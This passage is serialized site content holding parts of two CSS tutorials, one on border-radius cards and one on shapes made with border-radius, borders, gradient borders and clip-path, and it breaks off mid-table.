".hover-card:hover",[1560,74639,1571],{"class":1570},[1560,74641,74642,74644,74646,74648,74650,74652,74654,74656,74658,74660,74662,74664,74666,74668,74670,74672,74675],{"class":1562,"line":1747},[1560,74643,18679],{"class":1576},[1560,74645,1663],{"class":1570},[1560,74647,5285],{"class":1576},[1560,74649,13490],{"class":1576},[1560,74651,1670],{"class":1669},[1560,74653,42731],{"class":1576},[1560,74655,1670],{"class":1669},[1560,74657,18694],{"class":1576},[1560,74659,1688],{"class":1570},[1560,74661,5285],{"class":1576},[1560,74663,1459],{"class":1570},[1560,74665,5285],{"class":1576},[1560,74667,1459],{"class":1570},[1560,74669,5285],{"class":1576},[1560,74671,1459],{"class":1570},[1560,74673,74674],{"class":1576},"0.18",[1560,74676,1744],{"class":1570},[1560,74678,74679],{"class":1562,"line":2507},[1560,74680,1585],{"class":1570},[16,74682,74683],{},"The radius stays constant while the shadow deepens on hover. This creates the illusion of the card lifting off the page.",[11,74685,74687],{"id":74686},"overflow-and-clipping","Overflow and Clipping",[16,74689,74690,74691,74693],{},"Rounded corners clip the background automatically, but child elements spill past the curve. Add ",[143,74692,44900],{}," to enforce clipping on content.",[135,74695,74697],{"className":1554,"code":74696,"language":1556,"meta":141,"style":141},".image-card {\n  border-radius: 16px;\n  overflow: hidden;\n}\n",[143,74698,74699,74706,74718,74729],{"__ignoreMap":141},[1560,74700,74701,74704],{"class":1562,"line":1563},[1560,74702,74703],{"class":1566},".image-card",[1560,74705,1571],{"class":1570},[1560,74707,74708,74710,74712,74714,74716],{"class":1562,"line":337},[1560,74709,17294],{"class":1576},[1560,74711,1663],{"class":1570},[1560,74713,10057],{"class":1576},[1560,74715,1670],{"class":1669},[1560,74717,2228],{"class":1570},[1560,74719,74720,74723,74725,74727],{"class":1562,"line":343},[1560,74721,74722],{"class":1576},"  overflow",[1560,74724,1663],{"class":1570},[1560,74726,44183],{"class":1576},[1560,74728,2228],{"class":1570},[1560,74730,74731],{"class":1562,"line":365},[1560,74732,1585],{"class":1570},[16,74734,58350,74735,74737],{},[143,74736,44900],{},", images and absolutely-positioned children ignore the rounding. This is one of the most common visual bugs in card layouts.",[11,74739,1355],{"id":1354},[41,74741,74742,74745,74748,74756,74763,74769,74775],{},[44,74743,74744],{},"Use 12–16px for card corners and 6–8px for buttons — consistent sizing beats experimentation",[44,74746,74747],{},"Four values in shorthand map clockwise from top-left",[44,74749,74750,74752,74753,74755],{},[143,74751,71936],{}," creates a pill; ",[143,74754,18012],{}," on a square creates a circle",[44,74757,74758,74759,74762],{},"The slash syntax (",[143,74760,74761],{},"horizontal \u002F vertical",") unlocks leaf and blob shapes",[44,74764,74765,74766,74768],{},"Percentage radii scale with element size — cap them with ",[143,74767,63989],{}," if needed",[44,74770,74771,74772,74774],{},"Always add ",[143,74773,44900],{}," when rounded containers hold images or overflow content",[44,74776,74777],{},"Layer two box shadows with rounded corners for convincing depth",[11,74779,286],{"id":285},[16,74781,74782,74783,74785,74786,74788],{},"Experiment with individual corner values and see the shape update in real time with our ",[98,74784,17644],{"href":17643},". Pair your rounded shapes with polished elevation using the ",[98,74787,20279],{"href":20278}," — then copy both rules straight into your stylesheet.",[2043,74790,74791],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":74793},[74794,74795,74798,74801,74804,74807,74808,74812,74813,74814],{"id":73931,"depth":337,"text":73932},{"id":73941,"depth":337,"text":73942,"children":74796},[74797],{"id":73978,"depth":343,"text":73979},{"id":74032,"depth":337,"text":74033,"children":74799},[74800],{"id":74082,"depth":343,"text":74083},{"id":74108,"depth":337,"text":74109,"children":74802},[74803],{"id":74163,"depth":343,"text":74164},{"id":74209,"depth":337,"text":74210,"children":74805},[74806],{"id":74320,"depth":343,"text":74321},{"id":74338,"depth":337,"text":74339},{"id":74426,"depth":337,"text":74427,"children":74809},[74810,74811],{"id":74530,"depth":343,"text":74531},{"id":74549,"depth":343,"text":74550},{"id":74686,"depth":337,"text":74687},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Step-by-step tutorial for creating simple to complex rounded corner shapes with CSS border-radius.",{"immutable":363},{"title":18598,"description":74815},"guides\u002Fcss-rounded-corners-tutorial","OFavagEx_6On2F6cIM9jgC_MtpvzGH-Jgb1W_yztq_E",{"id":74821,"title":18605,"body":74822,"date":2070,"description":76471,"extension":361,"meta":76472,"navigation":363,"path":18604,"readingTime":1717,"seo":76473,"stem":76474,"__hash__":76475},"guides\u002Fguides\u002Fcss-shapes-and-borders.md",{"type":8,"value":74823,"toc":76448},[74824,74828,74839,74842,74846,74849,74939,74942,74946,75008,75011,75015,75021,75087,75090,75123,75126,75130,75138,75250,75254,75263,75303,75306,75310,75348,75354,75358,75361,75475,75479,75530,75533,75537,75546,75639,75647,75651,75659,75926,75930,76014,76025,76029,76038,76119,76128,76132,76137,76145,76299,76307,76311,76314,76332,76369,76371,76434,76436,76445],[11,74825,74827],{"id":74826},"beyond-the-rectangle","Beyond the Rectangle",[16,74829,74830,74831,74833,74834,74836,74837,468],{},"Every HTML element starts as a rectangle. CSS gives you two powerful tools to break out of that box: ",[143,74832,16947],{}," reshapes the corners, and ",[143,74835,51869],{}," draws visible edges. Combined — and paired with techniques like clipping and overflow — they produce leaf shapes, droplets, diamonds, and image masks that look nothing like a ",[143,74838,69003],{},[16,74840,74841],{},"This guide shows you how.",[11,74843,74845],{"id":74844},"leaf-and-droplet-shapes","Leaf and Droplet Shapes",[16,74847,74848],{},"Rounding three corners while leaving one sharp creates a natural, leaf-like silhouette.",[135,74850,74852],{"className":1554,"code":74851,"language":1556,"meta":141,"style":141},".leaf {\n  border-radius: 0 50% 50% 50%;\n}\n\n.droplet {\n  border-radius: 0 50% 50% 50%;\n  transform: rotate(45deg);\n}\n",[143,74853,74854,74860,74882,74886,74890,74897,74919,74935],{"__ignoreMap":141},[1560,74855,74856,74858],{"class":1562,"line":1563},[1560,74857,18224],{"class":1566},[1560,74859,1571],{"class":1570},[1560,74861,74862,74864,74866,74868,74870,74872,74874,74876,74878,74880],{"class":1562,"line":337},[1560,74863,17294],{"class":1576},[1560,74865,1663],{"class":1570},[1560,74867,5285],{"class":1576},[1560,74869,18318],{"class":1576},[1560,74871,17990],{"class":1669},[1560,74873,18318],{"class":1576},[1560,74875,17990],{"class":1669},[1560,74877,18318],{"class":1576},[1560,74879,17990],{"class":1669},[1560,74881,2228],{"class":1570},[1560,74883,74884],{"class":1562,"line":343},[1560,74885,1585],{"class":1570},[1560,74887,74888],{"class":1562,"line":365},[1560,74889,1702],{"emptyLinePlaceholder":363},[1560,74891,74892,74895],{"class":1562,"line":889},[1560,74893,74894],{"class":1566},".droplet",[1560,74896,1571],{"class":1570},[1560,74898,74899,74901,74903,74905,74907,74909,74911,74913,74915,74917],{"class":1562,"line":1710},[1560,74900,17294],{"class":1576},[1560,74902,1663],{"class":1570},[1560,74904,5285],{"class":1576},[1560,74906,18318],{"class":1576},[1560,74908,17990],{"class":1669},[1560,74910,18318],{"class":1576},[1560,74912,17990],{"class":1669},[1560,74914,18318],{"class":1576},[1560,74916,17990],{"class":1669},[1560,74918,2228],{"class":1570},[1560,74920,74921,74923,74925,74927,74929,74931,74933],{"class":1562,"line":1717},[1560,74922,1720],{"class":1576},[1560,74924,1663],{"class":1570},[1560,74926,35461],{"class":1576},[1560,74928,1688],{"class":1570},[1560,74930,1691],{"class":1576},[1560,74932,1694],{"class":1669},[1560,74934,1744],{"class":1570},[1560,74936,74937],{"class":1562,"line":1747},[1560,74938,1585],{"class":1570},[16,74940,74941],{},"Rotate the same shape 45° and you get a droplet or raindrop. The zero-radius corner becomes the pointed tip. Adjust the percentage to control how wide or narrow the leaf appears.",[33,74943,74945],{"id":74944},"shape-variations","Shape Variations",[193,74947,74948,74962],{},[196,74949,74950],{},[199,74951,74952,74954,74956,74959],{},[202,74953,36766],{},[202,74955,16947],{},[202,74957,74958],{},"Rotation",[202,74960,74961],{},"Visual",[211,74963,74964,74978,74993],{},[199,74965,74966,74968,74973,74975],{},[216,74967,36799],{},[216,74969,74970],{},[143,74971,74972],{},"0 50% 50% 50%",[216,74974,24609],{},[216,74976,74977],{},"Wide, organic",[199,74979,74980,74983,74987,74990],{},[216,74981,74982],{},"Droplet",[216,74984,74985],{},[143,74986,74972],{},[216,74988,74989],{},"45°",[216,74991,74992],{},"Pointed top, round bottom",[199,74994,74995,74998,75003,75005],{},[216,74996,74997],{},"Petal",[216,74999,75000],{},[143,75001,75002],{},"50% 0 50% 50%",[216,75004,24609],{},[216,75006,75007],{},"Point on top-right",[16,75009,75010],{},"Three values are enough to create distinct shapes. You rarely need all four corners at different percentages unless you want an intentional asymmetry.",[11,75012,75014],{"id":75013},"diamond-shapes","Diamond Shapes",[16,75016,75017,75018,75020],{},"A diamond is a rotated square. The secret is zero ",[143,75019,16947],{}," and a 45° transform.",[135,75022,75024],{"className":1554,"code":75023,"language":1556,"meta":141,"style":141},".diamond {\n  width: 100px;\n  height: 100px;\n  border-radius: 0;\n  transform: rotate(45deg);\n}\n",[143,75025,75026,75033,75045,75057,75067,75083],{"__ignoreMap":141},[1560,75027,75028,75031],{"class":1562,"line":1563},[1560,75029,75030],{"class":1566},".diamond",[1560,75032,1571],{"class":1570},[1560,75034,75035,75037,75039,75041,75043],{"class":1562,"line":337},[1560,75036,12386],{"class":1576},[1560,75038,1663],{"class":1570},[1560,75040,18114],{"class":1576},[1560,75042,1670],{"class":1669},[1560,75044,2228],{"class":1570},[1560,75046,75047,75049,75051,75053,75055],{"class":1562,"line":343},[1560,75048,12400],{"class":1576},[1560,75050,1663],{"class":1570},[1560,75052,18114],{"class":1576},[1560,75054,1670],{"class":1669},[1560,75056,2228],{"class":1570},[1560,75058,75059,75061,75063,75065],{"class":1562,"line":365},[1560,75060,17294],{"class":1576},[1560,75062,1663],{"class":1570},[1560,75064,5285],{"class":1576},[1560,75066,2228],{"class":1570},[1560,75068,75069,75071,75073,75075,75077,75079,75081],{"class":1562,"line":889},[1560,75070,1720],{"class":1576},[1560,75072,1663],{"class":1570},[1560,75074,35461],{"class":1576},[1560,75076,1688],{"class":1570},[1560,75078,1691],{"class":1576},[1560,75080,1694],{"class":1669},[1560,75082,1744],{"class":1570},[1560,75084,75085],{"class":1562,"line":1710},[1560,75086,1585],{"class":1570},[16,75088,75089],{},"Content inside the diamond also rotates. To keep text upright, apply a counter-rotation to the inner element:",[135,75091,75093],{"className":1554,"code":75092,"language":1556,"meta":141,"style":141},".diamond-content {\n  transform: rotate(-45deg);\n}\n",[143,75094,75095,75102,75119],{"__ignoreMap":141},[1560,75096,75097,75100],{"class":1562,"line":1563},[1560,75098,75099],{"class":1566},".diamond-content",[1560,75101,1571],{"class":1570},[1560,75103,75104,75106,75108,75110,75112,75115,75117],{"class":1562,"line":337},[1560,75105,1720],{"class":1576},[1560,75107,1663],{"class":1570},[1560,75109,35461],{"class":1576},[1560,75111,1688],{"class":1570},[1560,75113,75114],{"class":1576},"-45",[1560,75116,1694],{"class":1669},[1560,75118,1744],{"class":1570},[1560,75120,75121],{"class":1562,"line":343},[1560,75122,1585],{"class":1570},[16,75124,75125],{},"Diamonds work well as decorative accents, badge backgrounds, or navigation arrows. Keep them small — large diamonds waste considerable space in a rectangular layout.",[11,75127,75129],{"id":75128},"image-masks-with-border-radius-and-overflow","Image Masks with Border Radius and Overflow",[16,75131,75132,75133,12674,75135,75137],{},"Want a circular or rounded image without an editing tool? Combine ",[143,75134,16947],{},[143,75136,44900],{}," on the container.",[135,75139,75141],{"className":1554,"code":75140,"language":1556,"meta":141,"style":141},".circle-avatar {\n  width: 80px;\n  height: 80px;\n  border-radius: 50%;\n  overflow: hidden;\n}\n\n.circle-avatar img {\n  width: 100%;\n  height: 100%;\n  object-fit: cover;\n}\n",[143,75142,75143,75150,75162,75174,75186,75196,75200,75204,75212,75224,75236,75246],{"__ignoreMap":141},[1560,75144,75145,75148],{"class":1562,"line":1563},[1560,75146,75147],{"class":1566},".circle-avatar",[1560,75149,1571],{"class":1570},[1560,75151,75152,75154,75156,75158,75160],{"class":1562,"line":337},[1560,75153,12386],{"class":1576},[1560,75155,1663],{"class":1570},[1560,75157,5321],{"class":1576},[1560,75159,1670],{"class":1669},[1560,75161,2228],{"class":1570},[1560,75163,75164,75166,75168,75170,75172],{"class":1562,"line":343},[1560,75165,12400],{"class":1576},[1560,75167,1663],{"class":1570},[1560,75169,5321],{"class":1576},[1560,75171,1670],{"class":1669},[1560,75173,2228],{"class":1570},[1560,75175,75176,75178,75180,75182,75184],{"class":1562,"line":365},[1560,75177,17294],{"class":1576},[1560,75179,1663],{"class":1570},[1560,75181,18059],{"class":1576},[1560,75183,17990],{"class":1669},[1560,75185,2228],{"class":1570},[1560,75187,75188,75190,75192,75194],{"class":1562,"line":889},[1560,75189,74722],{"class":1576},[1560,75191,1663],{"class":1570},[1560,75193,44183],{"class":1576},[1560,75195,2228],{"class":1570},[1560,75197,75198],{"class":1562,"line":1710},[1560,75199,1585],{"class":1570},[1560,75201,75202],{"class":1562,"line":1717},[1560,75203,1702],{"emptyLinePlaceholder":363},[1560,75205,75206,75208,75210],{"class":1562,"line":1747},[1560,75207,75147],{"class":1566},[1560,75209,11550],{"class":2484},[1560,75211,1571],{"class":1570},[1560,75213,75214,75216,75218,75220,75222],{"class":1562,"line":2507},[1560,75215,12386],{"class":1576},[1560,75217,1663],{"class":1570},[1560,75219,18114],{"class":1576},[1560,75221,17990],{"class":1669},[1560,75223,2228],{"class":1570},[1560,75225,75226,75228,75230,75232,75234],{"class":1562,"line":2524},[1560,75227,12400],{"class":1576},[1560,75229,1663],{"class":1570},[1560,75231,18114],{"class":1576},[1560,75233,17990],{"class":1669},[1560,75235,2228],{"class":1570},[1560,75237,75238,75240,75242,75244],{"class":1562,"line":2529},[1560,75239,46796],{"class":1576},[1560,75241,1663],{"class":1570},[1560,75243,46801],{"class":1576},[1560,75245,2228],{"class":1570},[1560,75247,75248],{"class":1562,"line":2534},[1560,75249,1585],{"class":1570},[33,75251,75253],{"id":75252},"why-object-fit-matters","Why object-fit Matters",[16,75255,58350,75256,75259,75260,75262],{},[143,75257,75258],{},"object-fit: cover",", the image stretches to fill the container — distorting faces and landscapes. With ",[143,75261,46801],{},", the image fills the circle and crops the excess evenly.",[193,75264,75265,75277],{},[196,75266,75267],{},[199,75268,75269,75271,75274],{},[202,75270,14482],{},[202,75272,75273],{},"Without",[202,75275,75276],{},"With",[211,75278,75279,75291],{},[199,75280,75281,75285,75288],{},[216,75282,75283],{},[143,75284,75258],{},[216,75286,75287],{},"Image stretches to fit",[216,75289,75290],{},"Image fills and crops",[199,75292,75293,75297,75300],{},[216,75294,75295],{},[143,75296,44900],{},[216,75298,75299],{},"Content bleeds past curve",[216,75301,75302],{},"Content clips to curve",[16,75304,75305],{},"Both properties together guarantee a clean, distortion-free circular image.",[33,75307,75309],{"id":75308},"rounded-image-cards","Rounded Image Cards",[135,75311,75313],{"className":1554,"code":75312,"language":1556,"meta":141,"style":141},".rounded-image-card {\n  border-radius: 16px;\n  overflow: hidden;\n}\n",[143,75314,75315,75322,75334,75344],{"__ignoreMap":141},[1560,75316,75317,75320],{"class":1562,"line":1563},[1560,75318,75319],{"class":1566},".rounded-image-card",[1560,75321,1571],{"class":1570},[1560,75323,75324,75326,75328,75330,75332],{"class":1562,"line":337},[1560,75325,17294],{"class":1576},[1560,75327,1663],{"class":1570},[1560,75329,10057],{"class":1576},[1560,75331,1670],{"class":1669},[1560,75333,2228],{"class":1570},[1560,75335,75336,75338,75340,75342],{"class":1562,"line":343},[1560,75337,74722],{"class":1576},[1560,75339,1663],{"class":1570},[1560,75341,44183],{"class":1576},[1560,75343,2228],{"class":1570},[1560,75345,75346],{"class":1562,"line":365},[1560,75347,1585],{"class":1570},[16,75349,75350,75351,75353],{},"This clips both the background and the ",[143,75352,10900],{}," child to the same 16px rounding. No extra markup required — the container enforces the shape.",[11,75355,75357],{"id":75356},"combining-border-radius-with-the-border-property","Combining Border Radius with the Border Property",[16,75359,75360],{},"Borders follow the curve. A thick border on a rounded element creates a clear, smooth outline — perfect for badges and highlighted sections.",[135,75362,75364],{"className":1554,"code":75363,"language":1556,"meta":141,"style":141},".outlined-badge {\n  border-radius: 50%;\n  border: 3px solid #3B82F6;\n  width: 64px;\n  height: 64px;\n}\n\n.dashed-card {\n  border-radius: 12px;\n  border: 2px dashed #94A3B8;\n}\n",[143,75365,75366,75373,75385,75402,75414,75426,75430,75434,75441,75453,75471],{"__ignoreMap":141},[1560,75367,75368,75371],{"class":1562,"line":1563},[1560,75369,75370],{"class":1566},".outlined-badge",[1560,75372,1571],{"class":1570},[1560,75374,75375,75377,75379,75381,75383],{"class":1562,"line":337},[1560,75376,17294],{"class":1576},[1560,75378,1663],{"class":1570},[1560,75380,18059],{"class":1576},[1560,75382,17990],{"class":1669},[1560,75384,2228],{"class":1570},[1560,75386,75387,75389,75391,75393,75395,75397,75400],{"class":1562,"line":343},[1560,75388,3580],{"class":1576},[1560,75390,1663],{"class":1570},[1560,75392,17821],{"class":1576},[1560,75394,1670],{"class":1669},[1560,75396,3590],{"class":1576},[1560,75398,75399],{"class":1576}," #3B82F6",[1560,75401,2228],{"class":1570},[1560,75403,75404,75406,75408,75410,75412],{"class":1562,"line":365},[1560,75405,12386],{"class":1576},[1560,75407,1663],{"class":1570},[1560,75409,32226],{"class":1576},[1560,75411,1670],{"class":1669},[1560,75413,2228],{"class":1570},[1560,75415,75416,75418,75420,75422,75424],{"class":1562,"line":889},[1560,75417,12400],{"class":1576},[1560,75419,1663],{"class":1570},[1560,75421,32226],{"class":1576},[1560,75423,1670],{"class":1669},[1560,75425,2228],{"class":1570},[1560,75427,75428],{"class":1562,"line":1710},[1560,75429,1585],{"class":1570},[1560,75431,75432],{"class":1562,"line":1717},[1560,75433,1702],{"emptyLinePlaceholder":363},[1560,75435,75436,75439],{"class":1562,"line":1747},[1560,75437,75438],{"class":1566},".dashed-card",[1560,75440,1571],{"class":1570},[1560,75442,75443,75445,75447,75449,75451],{"class":1562,"line":2507},[1560,75444,17294],{"class":1576},[1560,75446,1663],{"class":1570},[1560,75448,13566],{"class":1576},[1560,75450,1670],{"class":1669},[1560,75452,2228],{"class":1570},[1560,75454,75455,75457,75459,75461,75463,75466,75469],{"class":1562,"line":2524},[1560,75456,3580],{"class":1576},[1560,75458,1663],{"class":1570},[1560,75460,10099],{"class":1576},[1560,75462,1670],{"class":1669},[1560,75464,75465],{"class":1576}," dashed",[1560,75467,75468],{"class":1576}," #94A3B8",[1560,75470,2228],{"class":1570},[1560,75472,75473],{"class":1562,"line":2529},[1560,75474,1585],{"class":1570},[33,75476,75478],{"id":75477},"border-style-reference","Border Style Reference",[193,75480,75481,75489],{},[196,75482,75483],{},[199,75484,75485,75487],{},[202,75486,9085],{},[202,75488,1775],{},[211,75490,75491,75500,75510,75520],{},[199,75492,75493,75497],{},[216,75494,75495],{},[143,75496,51906],{},[216,75498,75499],{},"Clean, modern outlines",[199,75501,75502,75507],{},[216,75503,75504],{},[143,75505,75506],{},"dashed",[216,75508,75509],{},"Upload zones, placeholders",[199,75511,75512,75517],{},[216,75513,75514],{},[143,75515,75516],{},"dotted",[216,75518,75519],{},"Decorative dividers",[199,75521,75522,75527],{},[216,75523,75524],{},[143,75525,75526],{},"double",[216,75528,75529],{},"Formal or classic looks",[16,75531,75532],{},"Dashed borders with rounded corners create a common \"drop zone\" pattern for file uploads. The rounded corners soften the rigid dashes, making the area feel approachable.",[33,75534,75536],{"id":75535},"gradient-borders-with-border-radius","Gradient Borders with Border Radius",[16,75538,75539,75540,75542,75543,75545],{},"Standard ",[143,75541,51869],{}," only supports solid colors. For gradient borders, use the ",[143,75544,56782],{}," technique:",[135,75547,75549],{"className":1554,"code":75548,"language":1556,"meta":141,"style":141},".gradient-border {\n  border: 2px solid transparent;\n  border-radius: 16px;\n  background:\n    linear-gradient(#0F172A, #0F172A) padding-box,\n    linear-gradient(135deg, #3B82F6, #8B5CF6) border-box;\n}\n",[143,75550,75551,75558,75575,75587,75593,75611,75635],{"__ignoreMap":141},[1560,75552,75553,75556],{"class":1562,"line":1563},[1560,75554,75555],{"class":1566},".gradient-border",[1560,75557,1571],{"class":1570},[1560,75559,75560,75562,75564,75566,75568,75570,75573],{"class":1562,"line":337},[1560,75561,3580],{"class":1576},[1560,75563,1663],{"class":1570},[1560,75565,10099],{"class":1576},[1560,75567,1670],{"class":1669},[1560,75569,3590],{"class":1576},[1560,75571,75572],{"class":1576}," transparent",[1560,75574,2228],{"class":1570},[1560,75576,75577,75579,75581,75583,75585],{"class":1562,"line":343},[1560,75578,17294],{"class":1576},[1560,75580,1663],{"class":1570},[1560,75582,10057],{"class":1576},[1560,75584,1670],{"class":1669},[1560,75586,2228],{"class":1570},[1560,75588,75589,75591],{"class":1562,"line":365},[1560,75590,5665],{"class":1576},[1560,75592,19182],{"class":1570},[1560,75594,75595,75597,75599,75601,75603,75605,75607,75609],{"class":1562,"line":889},[1560,75596,47262],{"class":1576},[1560,75598,1688],{"class":1570},[1560,75600,2299],{"class":1576},[1560,75602,1459],{"class":1570},[1560,75604,2299],{"class":1576},[1560,75606,1733],{"class":1570},[1560,75608,56764],{"class":1576},[1560,75610,11943],{"class":1570},[1560,75612,75613,75615,75617,75619,75621,75623,75625,75627,75629,75631,75633],{"class":1562,"line":1710},[1560,75614,47262],{"class":1576},[1560,75616,1688],{"class":1570},[1560,75618,46361],{"class":1576},[1560,75620,1694],{"class":1669},[1560,75622,1459],{"class":1570},[1560,75624,2260],{"class":1576},[1560,75626,1459],{"class":1570},[1560,75628,55458],{"class":1576},[1560,75630,1733],{"class":1570},[1560,75632,56782],{"class":1576},[1560,75634,2228],{"class":1570},[1560,75636,75637],{"class":1562,"line":1717},[1560,75638,1585],{"class":1570},[16,75640,421,75641,75643,75644,75646],{},[143,75642,56764],{}," layer fills the interior with a solid color. The ",[143,75645,56782],{}," layer paints the border area with a gradient. The transparent border creates the gap that the gradient fills.",[11,75648,75650],{"id":75649},"css-clip-path-as-an-alternative","CSS Clip-Path as an Alternative",[16,75652,75653,75655,75656,75658],{},[143,75654,16947],{}," only curves corners. ",[143,75657,35456],{}," cuts entire shapes — triangles, hexagons, stars — with vector precision.",[135,75660,75662],{"className":1554,"code":75661,"language":1556,"meta":141,"style":141},".hexagon {\n  clip-path: polygon(50% 0%, 100% 25%, 100% 75%, 50% 100%, 0% 75%, 0% 25%);\n}\n\n.triangle {\n  clip-path: polygon(50% 0%, 0% 100%, 100% 100%);\n}\n\n.star {\n  clip-path: polygon(50% 0%, 61% 35%, 98% 35%, 68% 57%, 79% 91%, 50% 70%, 21% 91%, 32% 57%, 2% 35%, 39% 35%);\n}\n",[143,75663,75664,75671,75743,75747,75751,75758,75798,75802,75806,75812,75922],{"__ignoreMap":141},[1560,75665,75666,75669],{"class":1562,"line":1563},[1560,75667,75668],{"class":1566},".hexagon",[1560,75670,1571],{"class":1570},[1560,75672,75673,75675,75677,75679,75681,75683,75685,75687,75689,75691,75693,75695,75698,75700,75702,75704,75706,75709,75711,75713,75715,75717,75719,75721,75723,75725,75727,75729,75731,75733,75735,75737,75739,75741],{"class":1562,"line":337},[1560,75674,35842],{"class":1576},[1560,75676,1663],{"class":1570},[1560,75678,35847],{"class":1576},[1560,75680,1688],{"class":1570},[1560,75682,18059],{"class":1576},[1560,75684,17990],{"class":1669},[1560,75686,13541],{"class":1576},[1560,75688,17990],{"class":1669},[1560,75690,1459],{"class":1570},[1560,75692,18114],{"class":1576},[1560,75694,17990],{"class":1669},[1560,75696,75697],{"class":1576}," 25",[1560,75699,17990],{"class":1669},[1560,75701,1459],{"class":1570},[1560,75703,18114],{"class":1576},[1560,75705,17990],{"class":1669},[1560,75707,75708],{"class":1576}," 75",[1560,75710,17990],{"class":1669},[1560,75712,1459],{"class":1570},[1560,75714,18059],{"class":1576},[1560,75716,17990],{"class":1669},[1560,75718,35878],{"class":1576},[1560,75720,17990],{"class":1669},[1560,75722,1459],{"class":1570},[1560,75724,5285],{"class":1576},[1560,75726,17990],{"class":1669},[1560,75728,75708],{"class":1576},[1560,75730,17990],{"class":1669},[1560,75732,1459],{"class":1570},[1560,75734,5285],{"class":1576},[1560,75736,17990],{"class":1669},[1560,75738,75697],{"class":1576},[1560,75740,17990],{"class":1669},[1560,75742,1744],{"class":1570},[1560,75744,75745],{"class":1562,"line":343},[1560,75746,1585],{"class":1570},[1560,75748,75749],{"class":1562,"line":365},[1560,75750,1702],{"emptyLinePlaceholder":363},[1560,75752,75753,75756],{"class":1562,"line":889},[1560,75754,75755],{"class":1566},".triangle",[1560,75757,1571],{"class":1570},[1560,75759,75760,75762,75764,75766,75768,75770,75772,75774,75776,75778,75780,75782,75784,75786,75788,75790,75792,75794,75796],{"class":1562,"line":1710},[1560,75761,35842],{"class":1576},[1560,75763,1663],{"class":1570},[1560,75765,35847],{"class":1576},[1560,75767,1688],{"class":1570},[1560,75769,18059],{"class":1576},[1560,75771,17990],{"class":1669},[1560,75773,13541],{"class":1576},[1560,75775,17990],{"class":1669},[1560,75777,1459],{"class":1570},[1560,75779,5285],{"class":1576},[1560,75781,17990],{"class":1669},[1560,75783,35878],{"class":1576},[1560,75785,17990],{"class":1669},[1560,75787,1459],{"class":1570},[1560,75789,18114],{"class":1576},[1560,75791,17990],{"class":1669},[1560,75793,35878],{"class":1576},[1560,75795,17990],{"class":1669},[1560,75797,1744],{"class":1570},[1560,75799,75800],{"class":1562,"line":1717},[1560,75801,1585],{"class":1570},[1560,75803,75804],{"class":1562,"line":1747},[1560,75805,1702],{"emptyLinePlaceholder":363},[1560,75807,75808,75810],{"class":1562,"line":2507},[1560,75809,35920],{"class":1566},[1560,75811,1571],{"class":1570},[1560,75813,75814,75816,75818,75820,75822,75824,75826,75828,75830,75832,75834,75836,75838,75840,75842,75844,75846,75848,75850,75852,75854,75856,75858,75860,75862,75864,75866,75868,75870,75872,75874,75876,75878,75880,75882,75884,75886,75888,75890,75892,75894,75896,75898,75900,75902,75904,75906,75908,75910,75912,75914,75916,75918,75920],{"class":1562,"line":2524},[1560,75815,35842],{"class":1576},[1560,75817,1663],{"class":1570},[1560,75819,35847],{"class":1576},[1560,75821,1688],{"class":1570},[1560,75823,18059],{"class":1576},[1560,75825,17990],{"class":1669},[1560,75827,13541],{"class":1576},[1560,75829,17990],{"class":1669},[1560,75831,1459],{"class":1570},[1560,75833,35973],{"class":1576},[1560,75835,17990],{"class":1669},[1560,75837,35978],{"class":1576},[1560,75839,17990],{"class":1669},[1560,75841,1459],{"class":1570},[1560,75843,35985],{"class":1576},[1560,75845,17990],{"class":1669},[1560,75847,35978],{"class":1576},[1560,75849,17990],{"class":1669},[1560,75851,1459],{"class":1570},[1560,75853,35996],{"class":1576},[1560,75855,17990],{"class":1669},[1560,75857,36001],{"class":1576},[1560,75859,17990],{"class":1669},[1560,75861,1459],{"class":1570},[1560,75863,36008],{"class":1576},[1560,75865,17990],{"class":1669},[1560,75867,36013],{"class":1576},[1560,75869,17990],{"class":1669},[1560,75871,1459],{"class":1570},[1560,75873,18059],{"class":1576},[1560,75875,17990],{"class":1669},[1560,75877,35515],{"class":1576},[1560,75879,17990],{"class":1669},[1560,75881,1459],{"class":1570},[1560,75883,4772],{"class":1576},[1560,75885,17990],{"class":1669},[1560,75887,36013],{"class":1576},[1560,75889,17990],{"class":1669},[1560,75891,1459],{"class":1570},[1560,75893,36042],{"class":1576},[1560,75895,17990],{"class":1669},[1560,75897,36001],{"class":1576},[1560,75899,17990],{"class":1669},[1560,75901,1459],{"class":1570},[1560,75903,10099],{"class":1576},[1560,75905,17990],{"class":1669},[1560,75907,35978],{"class":1576},[1560,75909,17990],{"class":1669},[1560,75911,1459],{"class":1570},[1560,75913,36063],{"class":1576},[1560,75915,17990],{"class":1669},[1560,75917,35978],{"class":1576},[1560,75919,17990],{"class":1669},[1560,75921,1744],{"class":1570},[1560,75923,75924],{"class":1562,"line":2529},[1560,75925,1585],{"class":1570},[33,75927,75929],{"id":75928},"border-radius-vs-clip-path","Border Radius vs Clip-Path",[193,75931,75932,75942],{},[196,75933,75934],{},[199,75935,75936,75938,75940],{},[202,75937,5867],{},[202,75939,16947],{},[202,75941,35456],{},[211,75943,75944,75960,75969,75983,75993,76003],{},[199,75945,75946,75949,75951],{},[216,75947,75948],{},"Curved corners",[216,75950,3057],{},[216,75952,75953,75954,1459,75957,1525],{},"Limited 